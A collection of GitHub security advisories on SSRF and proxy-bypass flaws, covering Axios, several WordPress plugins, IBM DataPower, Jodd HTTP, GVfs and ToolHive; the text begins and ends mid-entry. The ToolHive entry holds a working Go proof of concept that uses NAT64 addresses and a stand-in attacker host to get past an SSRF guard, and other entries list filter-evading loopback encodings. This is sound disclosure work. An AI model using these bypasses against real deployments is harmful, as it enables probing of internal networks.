\u0026\u0026\n+ parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n+ );\n+ };\n```\nAll other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.\n\n**5.4 Why This Fix Must Be Applied**\n\n**Reason 1 \u2014 RFC 1122 Compliance**\n\nThe current implementation violates **RFC 1122 \u00a73.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.\n\n```\nRFC 1122 \u00a73.2.1.3:\n\"The address 127.0.0.0/8 is assigned for loopback.\n A datagram sent by a higher-level protocol to a loopback\n address MUST NOT appear on any network.\"\nCurrent fix covers : 3 addresses (localhost, 127.0.0.1, ::1)\nProposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names)\n```\n\n**Reason 2 \u2014 The Existing Patch Has Already Failed Once**\n\nThe patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.\n\n**Reason 3 \u2014 Real Operating System Behaviour**\nOn Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.\n\n```\n# Linux routing table \u2014 default configuration\n$ ip route show table local | grep \"127\"\nlocal 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1\n# Proof: 127.0.0.2 is a valid loopback address on Linux\n$ ping -c 1 127.0.0.2\nPING 127.0.0.2: 56 data bytes\n64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms\n```\n\n\u003cimg width=\"711\" height=\"181\" alt=\"04_linux_loopback_subnet_proof\" src=\"https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2\" /\u003e\n\nAxios\u0027s current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.\n\n\u003cimg width=\"588\" height=\"198\" alt=\"06_ping_127 0 0 2_loopback_confirmed\" src=\"https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990\" /\u003e\n\n**Reason 4 \u2014 The Proposed Fix Has Zero Performance Impact**\nThe existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:\n\n1. Two direct string comparisons (`\u0027localhost\u0027`, `\u0027::1\u0027`) \u2014 O(1)\n2. A `split(\u0027.\u0027)` and array validation \u2014 O(1) with a fixed-length array of 4 elements\nThe computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.\n\n**Reason 5 \u2014 The Fix Is Minimal and Surgical**\nThe proposed change modifies only **3 lines** of a single file. It does not alter:\n\n* The `parseNoProxyEntry()` function\n* The `normalizeNoProxyHost()` function\n* The `shouldBypassProxy()` main function logic\n* Any other file in the codebase\n \nThis minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.\n\n**Reason 6 \u2014 Resilient to Alternative IP Encodings**\nBecause Axios normalises the request URL using Node\u0027s native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split(\u0027.\u0027)` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.\n\n**5.5 Additional Recommendation \u2014 IPv6 Loopback Range**\n\nWhile the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:\n\n```\n// Additional IPv6 loopback representations to consider:\n\u00270:0:0:0:0:0:0:1\u0027 // Full notation of ::1\n\u0027::ffff:127.0.0.1\u0027 // IPv4-mapped IPv6 loopback\n\u0027::ffff:7f00:1\u0027 // Hex IPv4-mapped IPv6 loopback\n```\nNormalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.",
"id": "GHSA-pmwg-cvhr-8vh7",
"modified": "2026-05-05T00:20:58Z",
"published": "2026-05-05T00:20:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: Incomplete Fix for CVE-2025-62718 \u2014 NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0"
}
GHSA-PMX8-FMC2-4RJP
Vulnerability from github – Published: 2026-02-28 00:31 – Updated: 2026-02-28 00:31Featured Image from Content (featured-image-from-content) WordPress plugin versions prior to 1.7 contain an authenticated server-side request forgery vulnerability that allows Author-level users to fetch internal HTTP resources. Attackers can exploit insecure URL fetching and file write operations to retrieve sensitive internal data and store it in web-accessible upload directories.
{
"affected": [],
"aliases": [
"CVE-2026-27759"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-27T23:16:04Z",
"severity": "MODERATE"
},
"details": "Featured Image from Content (featured-image-from-content) WordPress plugin versions prior to 1.7 contain\u00a0an authenticated server-side request forgery vulnerability that allows Author-level users to fetch internal HTTP resources. Attackers can exploit insecure URL fetching and file write operations to retrieve sensitive internal data and store it in web-accessible upload directories.",
"id": "GHSA-pmx8-fmc2-4rjp",
"modified": "2026-02-28T00:31:02Z",
"published": "2026-02-28T00:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27759"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/featured-image-from-content"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/featured-image-from-content-authenticated-ssrf-via-save-post"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PMXX-PHJP-RPHC
Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2022-05-24 17:43IBM DataPower Gateway V10 and V2018 could allow a local attacker with administrative privileges to execute arbitrary code on the system using a server-side requesr forgery attack. IBM X-Force ID: 193247.
{
"affected": [],
"aliases": [
"CVE-2020-5014"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-08T18:15:00Z",
"severity": "MODERATE"
},
"details": "IBM DataPower Gateway V10 and V2018 could allow a local attacker with administrative privileges to execute arbitrary code on the system using a server-side requesr forgery attack. IBM X-Force ID: 193247.",
"id": "GHSA-pmxx-phjp-rphc",
"modified": "2022-05-24T17:43:50Z",
"published": "2022-05-24T17:43:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5014"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/193247"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6426789"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-PP2F-6536-5XG8
Vulnerability from github – Published: 2024-04-24 06:30 – Updated: 2024-07-03 18:36The Import WP WordPress plugin before 2.13.1 does not prevent users with the administrator role from pinging conducting SSRF attacks, which may be a problem in multisite configurations.
{
"affected": [],
"aliases": [
"CVE-2023-7253"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-24T05:15:46Z",
"severity": "MODERATE"
},
"details": "The Import WP WordPress plugin before 2.13.1 does not prevent users with the administrator role from pinging conducting SSRF attacks, which may be a problem in multisite configurations.",
"id": "GHSA-pp2f-6536-5xg8",
"modified": "2024-07-03T18:36:45Z",
"published": "2024-04-24T06:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7253"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/aeefcc01-bbbf-4d86-9cfd-ea0f9a85e1a5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PP3C-CF6J-M3FF
Vulnerability from github – Published: 2022-06-07 00:00 – Updated: 2022-06-15 18:57Jodd HTTP v6.0.9 was discovered to contain multiple CLRF injection vulnerabilities via the components jodd.http.HttpRequest#set and `jodd.http.HttpRequest#send. These vulnerabilities allow attackers to execute Server-Side Request Forgery (SSRF) via a crafted TCP payload.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jodd:jodd-http"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "6.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-29631"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-07T21:14:24Z",
"nvd_published_at": "2022-06-06T21:15:00Z",
"severity": "HIGH"
},
"details": "Jodd HTTP v6.0.9 was discovered to contain multiple CLRF injection vulnerabilities via the components jodd.http.HttpRequest#set and `jodd.http.HttpRequest#send. These vulnerabilities allow attackers to execute Server-Side Request Forgery (SSRF) via a crafted TCP payload.",
"id": "GHSA-pp3c-cf6j-m3ff",
"modified": "2022-06-15T18:57:22Z",
"published": "2022-06-07T00:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29631"
},
{
"type": "WEB",
"url": "https://github.com/oblac/jodd-http/issues/9"
},
{
"type": "WEB",
"url": "https://github.com/oblac/jodd/issues/787"
},
{
"type": "WEB",
"url": "https://github.com/oblac/jodd-http/commit/e50f573c8f6a39212ade68c6eb1256b2889fa8a6"
},
{
"type": "PACKAGE",
"url": "https://github.com/oblac/jodd-http"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery in Jodd HTTP"
}
GHSA-PP79-4QX3-MF4H
Vulnerability from github – Published: 2026-02-26 18:31 – Updated: 2026-02-26 18:31A flaw was found in the FTP GVfs backend. A malicious FTP server can exploit this vulnerability by providing an arbitrary IP address and port in its passive mode (PASV) response. The client unconditionally trusts this information and attempts to connect to the specified endpoint, allowing the malicious server to probe for open ports accessible from the client's network.
{
"affected": [],
"aliases": [
"CVE-2026-28295"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-26T16:24:09Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the FTP GVfs backend. A malicious FTP server can exploit this vulnerability by providing an arbitrary IP address and port in its passive mode (PASV) response. The client unconditionally trusts this information and attempts to connect to the specified endpoint, allowing the malicious server to probe for open ports accessible from the client\u0027s network.",
"id": "GHSA-pp79-4qx3-mf4h",
"modified": "2026-02-26T18:31:41Z",
"published": "2026-02-26T18:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28295"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-28295"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443004"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PPH6-VFJV-VPJW
Vulnerability from github – Published: 2026-07-15 21:51 – Updated: 2026-07-15 21:51Summary
ToolHive's hand-rolled private/reserved-IP SSRF guard (networking.IsPrivateIP in pkg/networking/utilities.go) does not recognize the IPv6 NAT64 address ranges — the well-known prefix 64:ff9b::/96 (RFC 6052) and the RFC 8215 local-use prefix 64:ff9b:1::/48. As a result, an address such as 64:ff9b:1::a9fe:a9fe — the NAT64 encoding of the link-local cloud metadata address 169.254.169.254 — is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) — see Impact.
The most direct attacker-controlled entry point is the embedded OAuth authorization server's Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents client_id=https://<attacker-domain>/path, and CIMDStorageDecorator.GetClient fetches that URL through the same guard. The same IsPrivateIP table is also shared by the protectedDialerControl HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (pkg/skills/gitresolver), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is not affected — it enforces only the HTTPS scheme via ValidatingTransport and performs no IP-based check.)
Details
pkg/networking/utilities.go builds a privateIPBlocks table and IsPrivateIP:
func init() {
for _, cidr := range []string{
"127.0.0.0/8", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"169.254.0.0/16", "::1/128", "fe80::/10", "fc00::/7",
"100.64.0.0/10", "192.0.2.0/24", "198.51.100.0/24", "203.0.113.0/24",
"224.0.0.0/4", "ff00::/8",
} { /* ... append to privateIPBlocks ... */ }
}
func IsPrivateIP(ip net.IP) bool {
if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() {
return true
}
for _, block := range privateIPBlocks {
if block.Contains(ip) {
return true
}
}
return false
}
The table contains no entry for 64:ff9b::/96 or 64:ff9b:1::/48. A NAT64 address is a normal global-unicast IPv6 address: net.IP.IsGlobalUnicast() returns true and it matches none of the listed blocks, so IsPrivateIP returns false.
The CIMD fetcher (pkg/oauthproto/cimd/fetch.go, newCIMDHTTPClient) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap:
ips, err := net.DefaultResolver.LookupHost(ctx, host)
// ...
for _, ipStr := range ips {
ip := net.ParseIP(ipStr)
// ...
if !ip.IsLoopback() && networking.IsPrivateIP(ip) {
return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr)
}
dialer := &net.Dialer{Timeout: 5 * time.Second}
return dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port))
}
Because IsPrivateIP(64:ff9b:1::a9fe:a9fe) is false, the dialer proceeds. In a NAT64 network the kernel's NAT64 gateway transparently translates that IPv6 destination to a connection to 169.254.169.254.
Trust boundary: the CIMD URL originates from the client_id of an external OAuth client at authorize/token time (CIMDStorageDecorator.GetClient → IsClientIDMetadataDocumentURL(id) → cimd.FetchClientMetadataDocument(ctx, id)), so it is fully attacker-controlled. The protectedDialerControl HTTP clients used for registry, OIDC discovery, and token introspection (pkg/networking/http_client.go → AddressReferencesPrivateIp → IsPrivateIP) and the skills git-clone host check (pkg/skills/gitresolver/reference.go validateHost → IsPrivateIP) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones.
Note that ::ffff:169.254.169.254 (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught.
Affected
- Module:
github.com/stacklok/toolhive - Affected packages/paths:
pkg/networking/utilities.go(IsPrivateIP), reached viapkg/oauthproto/cimd/fetch.go(FetchClientMetadataDocument, CIMD authorization-server path — the attacker-controlled entry point),pkg/networking/http_client.go(protectedDialerControl, used by the registry / OIDC-discovery / token-introspection clients), andpkg/skills/gitresolver/reference.go(validateHost, skills git-clone host check). The webhook client (pkg/webhook) is not affected: it validates only the HTTPS scheme and performs noIsPrivateIPcheck. - Affected versions: all releases through v0.29.0 (the
IsPrivateIPtable has lacked NAT64 entries since the guard was introduced; the CIMD reach was added in v0.28.1). - Precondition for full exploitability: the ToolHive process runs in an environment with a NAT64/DNS64 gateway (e.g. IPv6-only Kubernetes / IPv6-only cloud). The classification defect itself is present unconditionally.
Proof of Concept
The following self-contained Go program imports ToolHive v0.29.0 (commit 570ce07013b72208fcae339e9492f5867a1af994) and exercises the real guard code: the exported networking.IsPrivateIP, the exported oauthproto.IsClientIDMetadataDocumentURL predicate that routes a client_id into the CIMD fetch path, and the CIMD dialer gate copied verbatim from pkg/oauthproto/cimd/fetch.go. The only modeled elements are the network's DNS64 record (attacker host → NAT64 IPv6) and the kernel NAT64 gateway (final dial → control listener) — the security decision is made entirely by ToolHive's own code.
go.mod:
module poc
go 1.26
require github.com/stacklok/toolhive v0.29.0
main.go:
package main
import (
"context"
"fmt"
"net"
"net/http"
"net/http/httptest"
"strings"
"time"
"github.com/stacklok/toolhive/pkg/networking"
"github.com/stacklok/toolhive/pkg/oauthproto"
"github.com/stacklok/toolhive/pkg/oauthproto/cimd"
)
var _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only)
const (
attackerHost = "cimd-attacker.example"
natLocalUse = "64:ff9b:1::a9fe:a9fe" // RFC 8215 NAT64 of 169.254.169.254
)
func main() {
// Part A: real classifier on NAT64 vs private addresses.
for _, s := range []string{
natLocalUse, "64:ff9b::a9fe:a9fe", "64:ff9b::7f00:1",
"169.254.169.254", "::ffff:169.254.169.254", "10.0.0.1", "93.184.216.34",
} {
ip := net.ParseIP(s)
fmt.Printf("IsPrivateIP(%-22s) = %v\n", s, networking.IsPrivateIP(ip))
}
// Control listener standing in for the IMDS reachable behind NAT64.
hit := make(chan string, 1)
imds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
hit <- r.Host + r.URL.Path
fmt.Fprint(w, `{"AccessKeyId":"ASIA_STOLEN","SecretAccessKey":"s3cr3t"}`)
}))
defer imds.Close()
ctrlAddr := strings.TrimPrefix(imds.URL, "http://")
clientID := "https://" + attackerHost + "/.well-known/oauth-client"
fmt.Printf("IsClientIDMetadataDocumentURL(%q) = %v\n", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID))
// CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0,
// with DNS64 (attacker host -> NAT64 IPv6) and NAT64 gateway (dial -> listener) modeled.
transport := &http.Transport{DisableKeepAlives: true,
DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
host, _, _ := net.SplitHostPort(address)
var ips []string
if host == attackerHost {
ips = []string{natLocalUse} // DNS64 synthesis
} else {
ips, _ = net.DefaultResolver.LookupHost(ctx, host)
}
for _, ipStr := range ips {
ip := net.ParseIP(ipStr)
if ip == nil {
continue
}
if !ip.IsLoopback() && networking.IsPrivateIP(ip) { // verbatim toolhive gate
return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr)
}
fmt.Printf("[guard] %s passed IsPrivateIP gate -> dialing\n", ipStr)
return (&net.Dialer{}).DialContext(ctx, "tcp", ctrlAddr) // NAT64 gateway
}
return nil, fmt.Errorf("cimd: no valid address for %q", host)
}}
client := &http.Client{Timeout: 5 * time.Second, Transport: transport}
req, _ := http.NewRequest("GET", "http://"+attackerHost+"/.well-known/oauth-client", nil)
if _, err := client.Do(req); err != nil {
fmt.Println("blocked:", err)
return
}
fmt.Printf("control listener received: %s => SSRF via %s\n", <-hit, natLocalUse)
// Negative control: a genuinely private IP is rejected by the same gate.
neg := &http.Client{Transport: &http.Transport{DialContext: func(_ context.Context, _, _ string) (net.Conn, error) {
ip := net.ParseIP("169.254.169.254")
if !ip.IsLoopback() && networking.IsPrivateIP(ip) {
return nil, fmt.Errorf("cimd: refusing connection to private address %s", ip)
}
return nil, fmt.Errorf("would dial (NOT blocked)")
}}}
_, nerr := neg.Do(req)
fmt.Println("negative control (169.254.169.254):", nerr)
}
Output:
IsPrivateIP(64:ff9b:1::a9fe:a9fe ) = false
IsPrivateIP(64:ff9b::a9fe:a9fe ) = false
IsPrivateIP(64:ff9b::7f00:1 ) = false
IsPrivateIP(169.254.169.254 ) = true
IsPrivateIP(::ffff:169.254.169.254) = true
IsPrivateIP(10.0.0.1 ) = true
IsPrivateIP(93.184.216.34 ) = false
IsClientIDMetadataDocumentURL("https://cimd-attacker.example/.well-known/oauth-client") = true
[guard] 64:ff9b:1::a9fe:a9fe passed IsPrivateIP gate -> dialing
control listener received: cimd-attacker.example/.well-known/oauth-client => SSRF via 64:ff9b:1::a9fe:a9fe
negative control (169.254.169.254): cimd: refusing connection to private address 169.254.169.254
The attacker-controlled client_id host (NAT64-resolved) passes the real IsPrivateIP gate and reaches the IMDS stand-in, while the raw metadata address is correctly blocked by the same gate.
Impact
Server-Side Request Forgery (CWE-918), Low. On a ToolHive deployment behind a NAT64/DNS64 gateway, an attacker who controls a URL reaching the guard can cause ToolHive to attempt connections to internal/link-local addresses the guard is meant to block — RFC1918, loopback, and the link-local metadata address 169.254.169.254 (encoded as 64:ff9b::a9fe:a9fe / 64:ff9b:1::a9fe:a9fe).
The practical effect is a blind internal-reachability / SSRF oracle, not data or credential exfiltration. On the only fully attacker-controlled entry point — the CIMD fetcher — three constraints bound the impact:
- HTTPS-only.
validateCIMDClientURLrejects non-loopbackhttp://, so the dial is TLS. Cloud instance metadata services (AWS/GCP/Azure, all on169.254.169.254) serve plain HTTP on port 80, so a TLS connection cannot retrieve metadata credentials. - TLS certificate verification.
newCIMDHTTPClientsets no customTLSClientConfig; reaching an internal HTTPS service requires a certificate valid for the attacker-supplied host/IP, which an internal service will not present. - No response reflection. A fetched document must satisfy
ValidateClientMetadataDocument(itsclient_idmust equal the fetched URL) and the body is never returned to the attacker.
What remains is the ability to probe whether an internal host:port accepts a TCP/TLS connection (via success/timing differences) — internal network reconnaissance, not credential theft.
Reachable via:
- the embedded OAuth authorization server CIMD path — client_id URL supplied by an external OAuth client (no pre-registration); HTTPS-only and blind, as above;
- the registry / OIDC-discovery / token-introspection HTTP clients that share IsPrivateIP via protectedDialerControl — but those destinations are operator-configured, not attacker-controlled;
- the skills git-clone host check (pkg/skills/gitresolver validateHost) — likewise operator-/user-configured, and it only validates literal IPs (a hostname that resolves to a NAT64/private address is not caught there regardless of this defect).
Exploitability is conditional on the host's network providing NAT64/DNS64 (e.g. IPv6-only Kubernetes and some IPv6-only cloud setups). The IP-classification defect itself is present unconditionally.
Root cause
networking.IsPrivateIP relies on a manually maintained CIDR list that omits the IPv6 NAT64 transition ranges. NAT64 addresses embed an IPv4 address (64:ff9b::<v4> and 64:ff9b:1::<v4>) and route to it via a NAT64 gateway, so a NAT64 address that embeds a private/link-local IPv4 address is effectively as sensitive as that IPv4 address — but it is a syntactically global-unicast IPv6 address and therefore evades the private-range list and the IsGlobalUnicast/IsLinkLocalUnicast checks.
Fix
Add the NAT64 prefixes to the private/reserved set so that NAT64-encoded addresses are classified by the IPv4 address they embed (or, at minimum, rejected outright). Concretely, add 64:ff9b::/96 and 64:ff9b:1::/48 to privateIPBlocks in pkg/networking/utilities.go; for completeness, when an address falls in a NAT64 prefix, extract the embedded IPv4 (last 32 bits) and apply the existing IPv4 private/reserved checks to it, so that 64:ff9b::8.8.8.8 (a NAT64 path to a genuinely public host) is not over-blocked while 64:ff9b:1::a9fe:a9fe is blocked. The implemented fix (PR on the private advisory fork) takes this embedded-IPv4 approach: it decodes the low 32 bits for the well-known 64:ff9b::/96 and the 64:ff9b:1::/96 sub-prefix and re-applies the IPv4 private/reserved checks, so genuinely public NAT64 egress is not over-blocked. Because the RFC 8215 local-use 64:ff9b:1::/48 may use a shorter NAT64 prefix (RFC 6052 §2.2) that places the embedded IPv4 outside the low 32 bits, the remainder of that /48 is blocked wholesale (fail closed) rather than decoded, avoiding a false-negative bypass.
As bundled defense-in-depth, the same patch also classifies a few special-use ranges that IsPrivateIP previously missed: 0.0.0.0/8 (RFC 1122 "this host") and the unspecified address (0.0.0.0 / ::), plus 240.0.0.0/4 (RFC 1112 reserved, including the 255.255.255.255 broadcast). Separately tracked follow-ups (not in this patch): decoding/rejecting other IPv4-in-IPv6 transition ranges (6to4 2002::/16, Teredo 2001::/32, IPv4-compatible ::/96), and a pre-clone DNS-resolution check in the skills git resolver, which currently validates only literal IPs.
Resources
- RFC 6052 — IPv6 Addressing of IPv4/IPv6 Translators (well-known prefix
64:ff9b::/96) - RFC 8215 — Local-Use IPv4/IPv6 Translation Prefix (
64:ff9b:1::/48) - RFC 6147 — DNS64
- CWE-918 — Server-Side Request Forgery (SSRF)
- ToolHive v0.29.0, commit
570ce07013b72208fcae339e9492f5867a1af994
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.29.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/stacklok/toolhive"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.29.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54450"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T21:51:03Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nToolHive\u0027s hand-rolled private/reserved-IP SSRF guard (`networking.IsPrivateIP` in `pkg/networking/utilities.go`) does not recognize the IPv6 **NAT64** address ranges \u2014 the well-known prefix `64:ff9b::/96` (RFC 6052) and the RFC 8215 local-use prefix `64:ff9b:1::/48`. As a result, an address such as `64:ff9b:1::a9fe:a9fe` \u2014 the NAT64 encoding of the link-local cloud metadata address `169.254.169.254` \u2014 is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) \u2014 see Impact.\n\nThe most direct attacker-controlled entry point is the embedded OAuth authorization server\u0027s Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents `client_id=https://\u003cattacker-domain\u003e/path`, and `CIMDStorageDecorator.GetClient` fetches that URL through the same guard. The same `IsPrivateIP` table is also shared by the `protectedDialerControl` HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (`pkg/skills/gitresolver`), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is *not* affected \u2014 it enforces only the HTTPS scheme via `ValidatingTransport` and performs no IP-based check.)\n\n## Details\n\n`pkg/networking/utilities.go` builds a `privateIPBlocks` table and `IsPrivateIP`:\n\n```go\nfunc init() {\n\tfor _, cidr := range []string{\n\t\t\"127.0.0.0/8\", \"10.0.0.0/8\", \"172.16.0.0/12\", \"192.168.0.0/16\",\n\t\t\"169.254.0.0/16\", \"::1/128\", \"fe80::/10\", \"fc00::/7\",\n\t\t\"100.64.0.0/10\", \"192.0.2.0/24\", \"198.51.100.0/24\", \"203.0.113.0/24\",\n\t\t\"224.0.0.0/4\", \"ff00::/8\",\n\t} { /* ... append to privateIPBlocks ... */ }\n}\n\nfunc IsPrivateIP(ip net.IP) bool {\n\tif ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() {\n\t\treturn true\n\t}\n\tfor _, block := range privateIPBlocks {\n\t\tif block.Contains(ip) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n```\n\nThe table contains no entry for `64:ff9b::/96` or `64:ff9b:1::/48`. A NAT64 address is a normal global-unicast IPv6 address: `net.IP.IsGlobalUnicast()` returns true and it matches none of the listed blocks, so `IsPrivateIP` returns `false`.\n\nThe CIMD fetcher (`pkg/oauthproto/cimd/fetch.go`, `newCIMDHTTPClient`) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap:\n\n```go\nips, err := net.DefaultResolver.LookupHost(ctx, host)\n// ...\nfor _, ipStr := range ips {\n\tip := net.ParseIP(ipStr)\n\t// ...\n\tif !ip.IsLoopback() \u0026\u0026 networking.IsPrivateIP(ip) {\n\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ipStr)\n\t}\n\tdialer := \u0026net.Dialer{Timeout: 5 * time.Second}\n\treturn dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port))\n}\n```\n\nBecause `IsPrivateIP(64:ff9b:1::a9fe:a9fe)` is `false`, the dialer proceeds. In a NAT64 network the kernel\u0027s NAT64 gateway transparently translates that IPv6 destination to a connection to `169.254.169.254`.\n\nTrust boundary: the CIMD URL originates from the `client_id` of an external OAuth client at authorize/token time (`CIMDStorageDecorator.GetClient` \u2192 `IsClientIDMetadataDocumentURL(id)` \u2192 `cimd.FetchClientMetadataDocument(ctx, id)`), so it is fully attacker-controlled. The `protectedDialerControl` HTTP clients used for registry, OIDC discovery, and token introspection (`pkg/networking/http_client.go` \u2192 `AddressReferencesPrivateIp` \u2192 `IsPrivateIP`) and the skills 